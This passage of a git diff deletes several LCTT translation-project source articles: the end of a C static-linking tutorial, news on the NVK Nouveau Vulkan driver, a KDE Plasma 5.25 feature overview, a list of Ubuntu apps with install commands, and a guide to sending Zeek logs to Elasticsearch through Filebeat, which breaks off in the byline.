remove the object files, as they're no longer required. (Note that using a `trash` [command][4] is safer than `rm`.) - -``` -$ ar rs libmymath.a add.o sub.o mult.o divi.o -$ trash *.o -$ ls -add.c  divi.c  libmymath.a  mult.c  mymath.h  sub.c -``` - -You have now created a simple example math library called `libmymath`, which you can use in C code. There are, of course, very complex C libraries out there, and this is the process their developers use to generate the final product that you and I install for use in C code. - -Next, use your math library in some custom code and then link it. - -### Create a statically linked application - -Suppose you've written a command for mathematics. Create a file called `mathDemo.c` and paste this code into it: - -``` -#include -#include -#include - -int main() -{ -  int x, y; -  printf("Enter two numbers\n"); -  scanf("%d%d",&x,&y); -  -  printf("\n%d + %d = %d", x, y, add(x, y)); -  printf("\n%d - %d = %d", x, y, sub(x, y)); -  printf("\n%d * %d = %d", x, y, mult(x, y)); - -  if(y==0){ -    printf("\nDenominator is zero so can't perform division\n"); -      exit(0); -  }else{ -      printf("\n%d / %d = %d\n", x, y, divi(x, y)); -      return 0; -  } -} -``` - -Notice that the first line is an `include` statement referencing, by name, your own `libmymath` library. - -Create an object file called `mathDemo.o` for `mathDemo.c` : - -``` -$ gcc -I . -c mathDemo.c -``` - -The `-I` option tells GCC to search for header files listed after it. In this case, you're specifying the current directory, represented by a single dot (`.` ). - -Link `mathDemo.o` with `libmymath.a` to create the final executable. There are two ways to express this to GCC. - -You can point to the files: - -``` -$ gcc -static -o mathDemo mathDemo.o libmymath.a -``` - -Alternately, you can specify the library path along with the library name: - -``` -$ gcc -static -o mathDemo -L . mathDemo.o -lmymath -``` - -In the latter example, the `-lmymath` option tells the linker to link the object files present in the `libmymath.a` with the object file `mathDemo.o` to create the final executable. The `-L` option directs the linker to look for libraries in the following argument (similar to what you would do with `-I` ). - -### Analyzing the result - -Confirm that it's statically linked using the `file` command: - -``` -$ file mathDemo -mathDemo: ELF 64-bit LSB executable, x86-64... -statically linked, with debug_info, not stripped -``` - -Using the `ldd` command, you can see that the executable is not dynamically linked: - -``` -$ ldd ./mathDemo -        not a dynamic executable -``` - -You can also check the size of the `mathDemo` executable: - -``` -$ du -h ./mathDemo -932K    ./mathDemo -``` - -In the example from my [previous article][5], the dynamic executable took up just 24K. - -Run the command to see it work: - -``` -$ ./mathDemo -Enter two numbers -10 -5 - -10 + 5 = 15 -10 - 5 = 5 -10 * 5 = 50 -10 / 5 = 2 -``` - -Looks good! - -### When to use static linking - -Dynamically linked executables are generally preferred over statically linked executables because dynamic linking keeps an application's components modular. Should a library receive a critical security update, it can be easily patched because it exists outside of the applications that use it. - -When you use static linking, a library's code gets "hidden" within the executable you create, meaning the only way to patch it is to re-compile and re-release a new executable every time a library gets an update—and you have better things to do with your time, trust me. - -However, static linking is a reasonable option if the code of a library exists either in the same code base as the executable using it or in specialized embedded devices that are expected to receive no updates. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/22/6/static-linking-linux - -作者:[Jayashree Huttanagoudar][a] -选题:[lkxed][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jayashree-huttanagoudar -[b]: https://github.com/lkxed -[1]: https://opensource.com/sites/default/files/lead-images/lenovo-thinkpad-laptop-concentration-focus-windows-office.png -[2]: https://creativecommons.org/licenses/by/3.0/us/ -[3]: https://opensource.com/article/22/5/dynamic-linking-modular-libraries-linux -[4]: https://www.redhat.com/sysadmin/recover-file-deletion-linux -[5]: https://opensource.com/article/22/5/dynamic-linking-modular-libraries-linux diff --git a/sources/tech/20220603 Red Hat Tests The -NVK- Nouveau Open Source Vulkan Driver.md b/sources/tech/20220603 Red Hat Tests The -NVK- Nouveau Open Source Vulkan Driver.md deleted file mode 100644 index 413df8c877..0000000000 --- a/sources/tech/20220603 Red Hat Tests The -NVK- Nouveau Open Source Vulkan Driver.md +++ /dev/null @@ -1,38 +0,0 @@ -[#]: subject: "Red Hat Tests The “NVK” Nouveau Open Source Vulkan Driver" -[#]: via: "https://www.opensourceforu.com/2022/06/red-hat-tests-the-nvk-nouveau-open-source-vulkan-driver/" -[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" -[#]: collector: "lkxed" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -Red Hat Tests The “NVK” Nouveau Open Source Vulkan Driver -====== -![red-hat][1] - -Following the recent news about Nouveau reorganising code to allow their shader compiler to be used outside of Nouveau Gallium3D, Red Hat’s Karol Herbst, a longtime Nouveau developer, has been posting patches for his new “NVK” Nouveau Vulkan driver effort. - -NVK is a brand-new, yet-to-be-merged open source Vulkan driver for NVIDIA graphics hardware. This is a Mesa-based driver that is currently being worked on primarily by Karol Herbst, who joined Red Hat several years ago and has since continued to work heavily on Mesa, including in the areas of OpenCL compute and other features. Aside from NVK, he has recently begun working on Rusticl, a Rust-based OpenCL implementation for Mesa. - -Jason Ekstrand of Collabora, as well as David Airlie of Red Hat, have been making early contributions to NVK. NVK can at least run vulkaninfo, but it is still a work in progress, with the initial code only being committed two weeks ago. - -Aside from performance issues with newer generations of NVIDIA graphics cards, the lack of an open source NVIDIA Vulkan driver has been a major roadblock, given that most Linux games these days are Vulkan-native, and even Steam Play is mostly Vulkan with VKD3D-Proton/DXVK. - -This NVK driver will most likely be updated in the future to support the open source NVIDIA kernel driver as an alternative to the Nouveau DRM driver. The original NVK open source Vulkan driver code is available on [Nouveau’s GitLab repository][2]. - --------------------------------------------------------------------------------- - -via: https://www.opensourceforu.com/2022/06/red-hat-tests-the-nvk-nouveau-open-source-vulkan-driver/ - -作者:[Laveesh Kocher][a] -选题:[lkxed][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.opensourceforu.com/author/laveesh-kocher/ -[b]: https://github.com/lkxed -[1]: https://www.opensourceforu.com/wp-content/uploads/2022/06/red-hat-e1654256924226.jpg -[2]: https://gitlab.freedesktop.org/nouveau/mesa/-/commits/nouveau/vk/ diff --git a/sources/tech/20220604 KDE Plasma 5.25- Top New Features and Release Details.md b/sources/tech/20220604 KDE Plasma 5.25- Top New Features and Release Details.md deleted file mode 100644 index a5310fc224..0000000000 --- a/sources/tech/20220604 KDE Plasma 5.25- Top New Features and Release Details.md +++ /dev/null @@ -1,147 +0,0 @@ -[#]: subject: "KDE Plasma 5.25: Top New Features and Release Details" -[#]: via: "https://www.debugpoint.com/2022/06/kde-plasma-5-25/" -[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" -[#]: collector: "lkxed" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -KDE Plasma 5.25: Top New Features and Release Details -====== -We will give you the feature summary of the KDE Plasma 5.25 desktop environment (upcoming). - -KDE Plasma 5.25 is the 27th version of KDE Plasma desktop, not an LTS release. This release is followed by the prior [5.24 LTS][1], released in February. KDE Plasma 5.25 brings several exciting updates on the desktop UI, polished applets, widgets, a good set of gesture updates for touch-based devices and a massive list of bug fixes. Plasma 5.25 is based on Qt 5.15.2 and KDE Frameworks 5.94. - -KDE Plasma releases on June 14, 2022, but before that following milestones are to be met: - -* Soft feature freeze: May 5, 2022 (Completed) -* Beta: May 19, 2022 (completed) -* Final release: June 14, 2022 - -The list of bug fixes and features is around 400+, and it’s challenging to cover them in a single article. We filtered out in this article some of the essential and visual changes which are more impactful straightaway to the general user base. - -### KDE Plasma 5.25 – Top New Features - -#### Plasma Workspace & Desktop - -Perhaps the most important visual change in KDE Plasma 5.25 is accent colour change based on the Wallpaper. As reported earlier, this change gives the final touch to the entire accent colour functionality and makes it complete with dynamic colour, custom colour and pre-sets. The option is available in the Appearance module. ([MR#1325)][2] - -![KDE Plasma 5.25 - Accent Colour Change Based on wallpaper][3] - -In addition, the accent colour change to the title bar was [also implemented][4] in the Breeze Classic theme and made it more consistent across the desktop. - -Another exciting change that KDE Plasma 5.25 brings is an option for Themes to make the Panel float. When selected, the Panel detaches itself from the bottom of the screen with rounded corners and gives a floating feeling. The option is available in the additional settings in Edit Panel mode. Here’s how it looks. ([MR#714)][5] - -![Floating Panel in Plasma 5.25][6] - -Here’s a quick video we prepared for you to show the above two features in action. - -![KDE Plasma - Dynamic Accent Colour and Floating Panel Demo][7] - -In addition to that, the power profiles menu in the system tray now has [icons][8] with their names in the [tooltip][9]. - -The login and logout screen see a [small UI change][10] to display avatar and profile name with longer user names. - -Also, the spacing between the avatar icon and name with the logout screen action buttons is [increased][11] to give a more consistent look. - -A fix was made to the Plasma Desktop to prevent widgets from [retaining position][12]when resolution changes back from fullscreen gaming. The widgets remember their position for respective resolutions. - -The plasma Workspace module [reverts][13]to the lock screen behaviour on mouse move, which was removed accidentally earlier. - -The Digital Clock “Copy to Clipboard” menu is now [more clean][14] with the removal of duplicate items and separate entries when seconds are enabled. - -#### KWin Updates - -KWin introduces an [option to hide][15] minimised windows in KDE Plasma 5.25. In addition to that, the desktop grid effect is [completely replaced][16] with the QML Version. - -Furthermore, it is now possible to switch between display specific resolutions which are not visible to the operating system in Wayland. The change adds [libxcvt][17] dependency in Kwin, and details of this change can be found [here][18]. - -With this release, the switching between the dark and light mode is more smooth and animated thanks to this [MR][19], inspired by GNOME. It was not smooth earlier and now looks more professional behaviour. - -#### Changes in Discover - -The application page of Discover is now complete with [more focused details][20] at the top with Application metadata and images. The spacing of the app name, ratings and developer with the image at the header section with the summary in the middle. And rest at the bottom. Here’s a side by side comparison of the earlier version with 5.25. - -![The app page gives more clarity in Plasma 5.25][21] - -One tiny yet impactful change in Discover related to Flatpak apps. Discover now [shows][22] a message with an action button to clean Flatpak data for uninstalled apps. - -![Message to clear the app data (Image credit: KDE Team)][23] - -Moreover, Discover now [shows the required permissions][24]of the Flatpak applications before you install them. In addition, if you are planning to install proprietary software, you get a warning message saying the potential consequences of using those (such as Microsoft Teams). - -#### Application and Applet Changes - -The System Monitor (KSystemStats) shows new [information about your window system][25] whether you are running X11 or Wayland. This should also display on the overview screen of the KSysGuard. - -The Open With Dialog of XGD Portal sees a [complete UI rework][26]. The top section label is merged into one single information line for better clarity. Also, the search field is now visible for all modes, and the Show More button is moved up beside Search with better clarity. You can look at the below image (Credit KDE Team) for this change. - -The Plasma Applet for NetworkManager now [shows][27] the WiFi frequency connection details to help distinguish which frequency you are connected to in the same SSID (same Wi-Fi Router). It’s really helpful if both the band have the same Wifi Accent point name and you cannot distinguish between 4G or 5G. - -The cuttlefish icon viewer now helps you [open the file path via the file manager][28] directly of the selected icon. - -Plasma desktop now gives a [more organised view][29]in “Recent Documents” with the ability to show “non-file” items such as RDP or remote connections. - -Moreover, the spell checker module in KRunner now [detects][30] the search language and gives you results. - -![KRunner spell check for non-English (image credit: KDE team)][31] - -When you run into an error, the KInfocenter now gives you [more information][32] about the error. The new design gives you what is the error, why it happened, whether you can fix it by yourself and how to report it to the devs. This is a nifty change that has a more significant impact. Here’s a side by side view of the change. - -![More help on the error on the way (Image credit: KDE Team)][33] - -### Closing Notes - -Along with the above changes, this release improves several gestures for touch devices and a massive list of performance and bug fixes (counting 150+), which will enhance the KDE Plasma 5.25 experience for all of its users. - -If you want to give a hand on testing, read the [contribution guide][34], and you can try the [unstable edition of KDE Neon][35] until the BETA release. - --------------------------------------------------------------------------------- - -via: https://www.debugpoint.com/2022/06/kde-plasma-5-25/ - -作者:[Arindam][a] -选题:[lkxed][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.debugpoint.com/author/admin1/ -[b]: https://github.com/lkxed -[1]: https://www.debugpoint.com/2022/03/kde-plasma-5-24-review/ -[2]: https://invent.kde.org/plasma/plasma-workspace/-/merge_requests/1325 -[3]: https://www.debugpoint.com/wp-content/uploads/2022/05/KDE-Plasma-5.25-Accent-Colour-Change-Based-on-wallpaper-1024x611.jpg -[4]: https://invent.kde.org/plasma/breeze/-/merge_requests/182 -[5]: https://invent.kde.org/plasma/plasma-desktop/-/merge_requests/714 -[6]: https://www.debugpoint.com/wp-content/uploads/2022/05/Floating-Panel-in-Plasma-5.25.jpg -[7]: https://youtu.be/npfHwMLXXHs -[8]: https://invent.kde.org/plasma/plasma-workspace/-/merge_requests/1585 -[9]: https://invent.kde.org/plasma/plasma-workspace/-/merge_requests/1668 -[10]: https://invent.kde.org/plasma/plasma-workspace/-/merge_requests/1654 -[11]: https://invent.kde.org/plasma/plasma-workspace/-/merge_requests/1647 -[12]: https://invent.kde.org/plasma/plasma-desktop/-/merge_requests/608 -[13]: https://invent.kde.org/plasma/plasma-workspace/-/merge_requests/1707 -[14]: https://invent.kde.org/plasma/plasma-workspace/-/merge_requests/1693 -[15]: https://invent.kde.org/plasma/kwin/-/merge_requests/2341 -[16]: https://invent.kde.org/plasma/kwin/-/merge_requests/2327 -[17]: https://gitlab.freedesktop.org/xorg/lib/libxcvt -[18]: https://bugs.kde.org/448398 -[19]: https://invent.kde.org/plasma/kwin/-/merge_requests/2088 -[20]: https://invent.kde.org/plasma/discover/-/merge_requests/246 -[21]: https://www.debugpoint.com/wp-content/uploads/2022/05/App-page-gives-more-clarity-in-Plasma-5.25.jpg -[22]: https://invent.kde.org/plasma/discover/-/merge_requests/297 -[23]: https://www.debugpoint.com/wp-content/uploads/2022/05/Message-to-clear-the-app-data.jpg -[24]: https://invent.kde.org/plasma/discover/-/merge_requests/282 -[25]: https://invent.kde.org/plasma/ksystemstats/-/merge_requests/34 -[26]: https://invent.kde.org/plasma/xdg-desktop-portal-kde/-/merge_requests/94 -[27]: https://invent.kde.org/plasma/plasma-nm/-/merge_requests/112 -[28]: https://invent.kde.org/plasma/plasma-sdk/-/merge_requests/32 -[29]: https://invent.kde.org/plasma/plasma-desktop/-/merge_requests/551 -[30]: https://invent.kde.org/plasma/kdeplasma-addons/-/merge_requests/122 -[31]: https://www.debugpoint.com/wp-content/uploads/2022/05/KRunner-spell-check-for-non-english.jpg -[32]: https://invent.kde.org/plasma/kinfocenter/-/merge_requests/90 -[33]: https://www.debugpoint.com/wp-content/uploads/2022/05/More-help-on-the-error-on-the-way.jpg -[34]: https://community.kde.org/Get_Involved -[35]: https://neon.kde.org/download diff --git a/sources/tech/20220606 10 Best Ubuntu Apps for Everyone in 2022 [Part 2].md b/sources/tech/20220606 10 Best Ubuntu Apps for Everyone in 2022 [Part 2].md deleted file mode 100644 index 65fc52ec0f..0000000000 --- a/sources/tech/20220606 10 Best Ubuntu Apps for Everyone in 2022 [Part 2].md +++ /dev/null @@ -1,249 +0,0 @@ -[#]: subject: "10 Best Ubuntu Apps for Everyone in 2022 [Part 2]" -[#]: via: "https://www.debugpoint.com/2022/06/best-ubuntu-apps-2022-part2/" -[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" -[#]: collector: "lkxed" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -10 Best Ubuntu Apps for Everyone in 2022 [Part 2] -====== -This article lists the top 10 best Ubuntu apps for different use cases in 2022. - -If you plan to migrate to Linux permanently, you should be happy knowing that there are thousands of applications that can compete with commercial or paid applications. Also, if you are a Windows user and using Linux first time, then you may not hear of those apps. - -Hence, in this article series, we are highlighting a set of Ubuntu apps at a time to increase collaboration and awareness among the user base. - -This is part 2 of the Ubuntu Apps series. - -### Best Ubuntu Apps in 2022 – Part 2 - -#### 1. OBS Studio - -The first application is the famous [streaming application][1] – OBS Studio. It is a free and open-source application primarily used for streaming over the internet. In addition, using this application, you can create a complex streaming project using multiple sources, overlay banners and more. - -Furthermore, thanks to its support of “Real-Time Messaging Protocol” (RTMP), you can use this app to stream on Facebook, YouTube, Twitch and another supported platform. - -This decade-old application is one of the best apps for Linux. - -![OBS Studio][2] - -You can learn more about OBS Studio here at the [official home page][3] and download or install it via the below methods. - -Via PPA in Ubuntu and related distribution: - -``` -sudo add-apt-repository ppa:obsproject/obs-studio -sudo apt update -sudo apt install obs-studio -``` - -If you wish for Flatpak, then [setup your system for Flatpak][4] and [install via this page][5]. - -For Arch Linux and others, [visit this page for more information.][6] - -#### 2. Inkscape - -The second application in this is the popular Inkscape application. Inkscape is a free and cross-platform vector graphics editor. It is primarily used to create scalable vector graphics. In addition, it is a world-class application which uses basic vector shapes such as rectangles, polygons, spirals and more. You can create world-class drawings using these primitive shapes and their additional tools (see below). - -Furthermore, you can also create [stunning animations][7] using Inkscape with sufficient skills. It is one of the must-have applications for artists. - -![Sample Image – credit-Inkscape][8] - -![Inkscape][9] - -You can learn more about Inkscape here at the [official home page][10] and download or install it via the below methods. - -Via PPA in Ubuntu and other Linux distributions: - -``` -sudo add-apt-repository ppa:inkscape.dev/stable -sudo apt update -sudo apt install inkscape -``` - -For other download methods, visit [this page][11]. - -#### 3. GIMP - -The GIMP aka GNU Image Manipulation Program is a raster graphics editor which is sometimes considered a debatable-[Photoshop alternative][12] in the Linux world. In addition, this two-decade-old application is perfect for basic to advanced image editing. Moreover, it supports layers, filters, decorations, and other advanced image editing features essential for a photography workflow. - -![GIMP Image Editor][13] - -A great way to learn more about GIMP is at the [official home page][14]and download or install via the below methods. - -The recommended way is Flatpak to get the latest GIMP version. You can set up[your system][15] for Flatpak and [click here to install][16]. - -For more download options, visit [this page][17]. - -#### 4. Spotify - -Spotify is a proprietary audio streaming and media services provider. It is one of the most extensive music streaming services, with over 400+ million monthly users. - -Firstly, to access the Spotify streaming service, you need a client. Secondly, If you are a mobile user, you can use the Spotify app from Google Play Store or Apple App Store. - -You can listen to millions of songs on your Linux desktop by installing the desktop client. For Linux distributions, you can install the Spotify client from various sources. - -![Spotify Client in Ubuntu][18] - -The recommended method for Ubuntu and other Linux is using the Snap package. You can install it via the below command. - -``` -snap install spotify -``` - -If you prefer the native deb package, you can install it using the below commands. - -``` -curl -sS https://download.spotify.com/debian/pubkey_5E3C45D7B312C643.gpg | sudo apt-key add -echo "deb http://repository.spotify.com stable non-free" | sudo tee /etc/apt/sources.list.d/spotify.list -``` - -There is also an unofficial [Flatpak package available][19], which you can take advantage of. - -#### 5. SimpleScreen recorder - -The simplescreenrecorder is perhaps the best open-source screen recorder available. This application is straightforward to use and loaded with features. In addition, its unique 3-step approach to recording the screen which requires no learning at all. Moreover, you can select the entire screen, a window or a custom shape to record the screen. - -Furthermore, you can also specify the auto/video bit rate, audio source options and different output options. Finally, it is available to install in all Linux distributions. - -![SimpleScreenRecorder][20] - -The [official home page][21] contains more details about SimpleScreenRecorder, and you can download it using the below methods. - -Using the PPA commands below, you can install this application in Ubuntu and other related distributions. - -``` -sudo apt-get updatesudo apt-get install simplescreenrecorder -``` - -For additional download instructions, visit [this page][22]. - -#### 6. Calibre - -Calibre is a free and open-source e-book library management application available in Ubuntu, Linux Mint and other Linux platforms. It brings library management, e-book conversion, sync to your e-book devices and more unique features. Moreover, you can download news and other articles from the web and convert them to e-book formats using Calibre. In addition, it supports a wide range of e-book formats for management. Calibre is one of the best e-book management applications with all these features. - -![Calibre][23] - -A lot of documentation and tutorials are available on the [home page of Calibre][24], and you can download them using the below means. - -* [Download for Linux distributions][25] -* [Download for other operating systems][26] - -#### 7. Scribus - -Desktop publishing changed over the years. Today, there are several applications and web-based services available for desktop publishing. Scribus is one of the early free and open-source desktop publishing applications available for Linux distributions and other operating systems. In addition, it is based on Qt and brings an appealing user interface which you can learn in no time. Furthermore, it can be used by beginners to professionals to create stunning DTP pages. - -And it is still in active development. - -![Scribus][27] - -You can learn more about Scribus here at the [official home page][28] and download or install it via the below methods. - -Scribus is in the main repo for Ubuntu and other related distributions. You can run the below command to install. - -``` -sudo apt install scribus -``` - -For other download options, visit [this page][29]. - -#### 8. MyPaint - -The eighth application in this is MyPaint. MyPaint is a free and open-source drawing program for digital artists. MyPaint supports and can be used in pressure-sensitive tablets and devices. In addition, its unique distraction-free design lets you focus on the drawing instead of the application. Furthermore, it brings a real pencil and brushes emulation with a wide range of brushes, colours and layers. - -![MyPaint 2.0.1][30] - -For more information, visit the [official homepage][31] of MyPaint and download using the below methods. - -The recommended install method is Flatpak. You can set up your [system for Flatpak][32] and install it by [clicking here][33]. - -For other download options, visit [this page][34]. - -#### 9. LibreOffice - -If any professional Office suite comes close to the market leader Microsoft Office is the Document Foundation’s LibreOffice. It is the default Office suite for all Linux Distributions. It comes with a spreadsheet program (Calc), word processor (Writer), presentation (Impress) and Draw (for drawing). Moreover, it also brings a database system LibreOffice Base and Math to prepare mathematical formulas. - -In addition to that, LibreOffice features two editions. Firstly, the community edition is for the community and general uses and comes with the latest features and updates. The second edition is for business, and it’s called the enterprise edition. The enterprise edition is more stable and perfect for professional work. - -LibreOffice office suite is installed by default in Ubuntu. - -![LibreOffice 7.3.x Community Edition in Ubuntu 22.04 LTS Jammy Jellyfish][35] - -[LibreOffice’s official documentation][36] is vast, and you can go through them through any means, including its [friendly forum][37]. You can download LibreOffice [from here][38]. - -Also, if you are planning to upgrade LibreOffice, you can [visit our guide here][39]. - -#### 10. Cawbird - -If you are a heavy Twitter user, you may consider a desktop app. Cawbird is a desktop Twitter client for Linux distributions. Fork of the prior Corebird app (discontinued), Cawbird brings inline image, video preview, list support, etc. In addition, it can do a full-text search on Twitter and support multiple Twitter accounts. - -However, due to Twitter API limitations, it refreshes every two minutes and several other restrictions such as no notification for follows, unfollows, block, mute and other features. Twitter imposed these limitations. - -![Cawbird][40] - -Finally, you can download the Cawbird for all Linux distributions using the [link present here][41]. - -### Closing Notes - -This concludes part 2 of a 5-part series of best Ubuntu Apps in 2022. I expect you get to install and use some of these applications in Ubuntu and other distros for your daily work. Also, let me know which apps you prefer from this list in the comment box below. - -Finally, stay tuned for part 3 of this Ubuntu apps series. If you missed part 1, you could read it here – “[Essential Ubuntu Apps in 2022 – Part 1][42]“. - -Cheers. - --------------------------------------------------------------------------------- - -via: https://www.debugpoint.com/2022/06/best-ubuntu-apps-2022-part2/ - -作者:[Arindam][a] -选题:[lkxed][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.debugpoint.com/author/admin1/ -[b]: https://github.com/lkxed -[1]: https://www.debugpoint.com/2022/02/live-streaming-applications-linux-2022/ -[2]: https://www.debugpoint.com/wp-content/uploads/2022/06/OBS-Studio.jpg -[3]: https://obsproject.com/ -[4]: https://www.debugpoint.com/2018/07/how-to-install-flatpak-apps-ubuntu-linux/ -[5]: https://flathub.org/apps/details/com.obsproject.Studio -[6]: https://obsproject.com/wiki/unofficial-linux-builds -[7]: https://inkscape.org/gallery/ -[8]: https://www.debugpoint.com/wp-content/uploads/2022/06/Sample-Image-credit-Inkscape.jpg -[9]: https://www.debugpoint.com/wp-content/uploads/2018/09/Inkscape-Running.png -[10]: https://inkscape.org/ -[11]: https://inkscape.org/release/ -[12]: https://www.debugpoint.com/2018/09/3-best-free-photoshop-alternatives-ubuntu-linux/ -[13]: https://www.debugpoint.com/wp-content/uploads/2018/09/GIMP-Running.png -[14]: https://www.gimp.org/ -[15]: https://www.debugpoint.com/2018/07/how-to-install-flatpak-apps-ubuntu-linux/ -[16]: https://flathub.org/repo/appstream/org.gimp.GIMP.flatpakref -[17]: https://www.gimp.org/downloads/ -[18]: https://www.debugpoint.com/wp-content/uploads/2022/06/Spotify-Client-in-Ubuntu.jpg -[19]: https://flathub.org/apps/details/com.spotify.Client -[20]: https://www.debugpoint.com/wp-content/uploads/2022/06/SimpleScreenRecorder.jpg -[21]: https://www.maartenbaert.be/simplescreenrecorder/ -[22]: https://www.maartenbaert.be/simplescreenrecorder/#download -[23]: https://www.debugpoint.com/wp-content/uploads/2019/11/Calibre.png -[24]: https://calibre-ebook.com/ -[25]: https://calibre-ebook.com/download_linux -[26]: https://calibre-ebook.com/download -[27]: https://www.debugpoint.com/wp-content/uploads/2022/06/Scribus.jpg -[28]: https://www.scribus.net/ -[29]: https://www.scribus.net/downloads/stable-branch/ -[30]: https://www.debugpoint.com/wp-content/uploads/2020/05/MyPaint-2.0.1.png -[31]: http://mypaint.org/ -[32]: https://www.debugpoint.com/2018/07/how-to-install-flatpak-apps-ubuntu-linux/ -[33]: https://flathub.org/repo/appstream/org.mypaint.MyPaint.flatpakref -[34]: http://mypaint.org/downloads/ -[35]: https://www.debugpoint.com/wp-content/uploads/2019/09/LibreOffice-7.3.x-Community-Edition-in-Ubuntu-22.04-LTS-Jammy-Jellyfish.jpg -[36]: https://help.libreoffice.org/latest/index.html -[37]: https://ask.libreoffice.org/ -[38]: https://www.libreoffice.org/download/download/ -[39]: https://www.debugpoint.com/2022/06/libreoffice-upgrade-update-latest/ -[40]: https://www.debugpoint.com/wp-content/uploads/2022/06/Cawbird.jpg -[41]: https://software.opensuse.org//download.html?project=home%3AIBBoard%3Acawbird&package=cawbird -[42]: https://www.debugpoint.com/2022/05/essential-ubuntu-apps-2022-part-1/ diff --git a/sources/tech/20220607 Integrating Zeek with ELK Stack.md b/sources/tech/20220607 Integrating Zeek with ELK Stack.md deleted file mode 100644 index 3654c2a9a7..0000000000 --- a/sources/tech/20220607 Integrating Zeek with ELK Stack.md +++ /dev/null @@ -1,141 +0,0 @@ -[#]: subject: "Integrating Zeek with ELK Stack" -[#]: via: "https://www.opensourceforu.com/2022/06/integrating-zeek-with-elk-stack/" -[#]: author: "Tridev Reddy https://www.opensourceforu.com/author/tridev-reddy/" -[#]: collector: "lkxed" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -Integrating Zeek with ELK Stack -====== -Zeek is an open source network security monitoring tool. This article discusses how to integrate Zeek with ELK. - -![Integrating-Zeek-with-ELK-Stack-Featured-image][1] - -In the article titled ‘Network Security Monitoring Made Easy with Zeek’ published in the March 2022 edition of this magazine, we looked into the capabilities of Zeek and learned how to get started with it. We will now take our learning experience a bit further and see how to integrate it with ELK (also know as Elasticsearch, Kibana, Beats, and Logstash). - -For this, we will use a tool called Filebeat, which monitors, collects and forwards the logs to Elasticsearch. We will configure Filebeat with Zeek, so that the data collected by the latter will be forwarded and centralised in our Kibana dashboard. - -### Installing Filebeat - -Let’s first set up Filebeat with Zeek. To install Filebeat using *apt*, give the following command: - -``` -sudo apt install filebeat -``` - -Next, we need to configure the *.yml* file, which is present in the etc*/filebeat/* folder: - -``` -sudo nano /etc/filebeat/filebeat.yml -``` - -We need to configure only two things here. In the *Filebeat* Input section, change the type to log and uncomment the *enabled*: false and change it to true. We also need to specify the path of where the logs are stored, i.e., we need to specify */opt/zeek/logs/current/*.log* - -Once this is done, the first part of the settings should look similar to what’s shown in Figure 1. - -![Figure 1: Filebeat config (a)][2] - -The second thing to be changed in the Elasticsearch output section is under *Outputs.* Uncomment the output.elasticsearch and hosts. Make sure the URL of the host and port number are similar to what you configured while installing ELK. We kept it as localhost with port number 9200. - -In the same section, uncomment the user name and password at the bottom, and enter the user name and password of the elastic user that you generated while configuring ELK after installation. Once this is done, refer to Figure 2 and check the settings. - -![Figure 2: Filebeat config (b)][3] - -Now that we have completed installing and configuring , we need to configure Zeek so that it stores the logs in JSON format. For that, ensure your Zeek instance is stopped. If it’s not, execute the command given below to stop it: - -``` -cd /opt/zeek/bin -./zeekctl stop -``` - -Now we need to add a small line in the local.zeek, which is present in the *opt/zeek/share/zeek/site/* directory. - -Open the file as root and add the following line: - -``` -@load policy/tuning/json-logs.zeek -``` - -Refer to Figure 3 and make sure the settings are done correctly. - -![Figure 3: local.zeek file][4] - -As we have changed a few configurations of Zeek, we need to re-deploy it, which can be done by executing the following command: - -``` -cd /opt/zeek/bin -./zeekctl deploy -``` - -Now we need to enable the Zeek module in Filebeat so that it forwards the logs from Zeek. Execute the following command: - -``` -sudo filebeat modules enable zeek -``` - -We are almost ready; in the last step, configure the *zeek.yml* file to mention what type of data is to be logged. This can be done by modifying the */etc/filebeat/modules.d/zeek.yml* file. - -In this *.yml file*, we must mention the directory where these specified logs are stored. We know that the logs are stored in the current folder, which has several files like *dns.log*, *conn.log, dhcp.log,* and many more. We need to mention each path in each section. You can leave unwanted files by changing the enabled value to false, if and only if you don’t want logs from that file/program. - -For example, for *dns*, make sure the enabled value is true and the path is mentioned as: - -``` -var.paths: [ “/opt/zeek/logs/current/dns.log”, “/opt/zeek/logs/*.dns.json” ] -``` - -Repeat this for the rest of the files. We did this for a few that we needed. We added everything that was mainly required. You can do the same. Refer to Figure 4. - -![Figure 4: zeek.yml configuration][5] - -Now it’s time to start the Filebeat. Execute the following commands: - -``` -sudo filebeat setup -sudo service filebeat start -``` - -Now that everything is done, let’s move to our Kibana dashboard and check whether we are receiving the data from Zeek via Filebeat or not. - -![Figure 5: Dashboard of Kibana (Destination Geo)][6] - -Navigate to the dashboard; you can see a clear statistical analysis of the data it has captured (Figure 5 and Figure 6). - -![Figure 6: Dashboard of Kibana (Network)][7] - -Now let’s move to the Discover tab and check the results by filtering using the query: - -``` -event.module: “zeek” -``` - -This query will filter all the data it received in a certain time and show us only the data from the module named Zeek (Figure 7). - -![Figure 7: Filtered data by event.module query][8] - -### Acknowledgements - -*The authors are grateful to Sibi Chakkaravarthy Sethuraman, Sudhakar Ilango, Nandha Kumar R. and Anupama Namburu at the School of Computer Science and Engineering, VIT-AP for their continuous guidance and support. A special thanks to the Center for Excellence in Artificial Intelligence and Robotics (AIR).* - --------------------------------------------------------------------------------- - -via: https://www.opensourceforu.com/2022/06/integrating-zeek-with-elk-stack/ - -作者:[Tridev 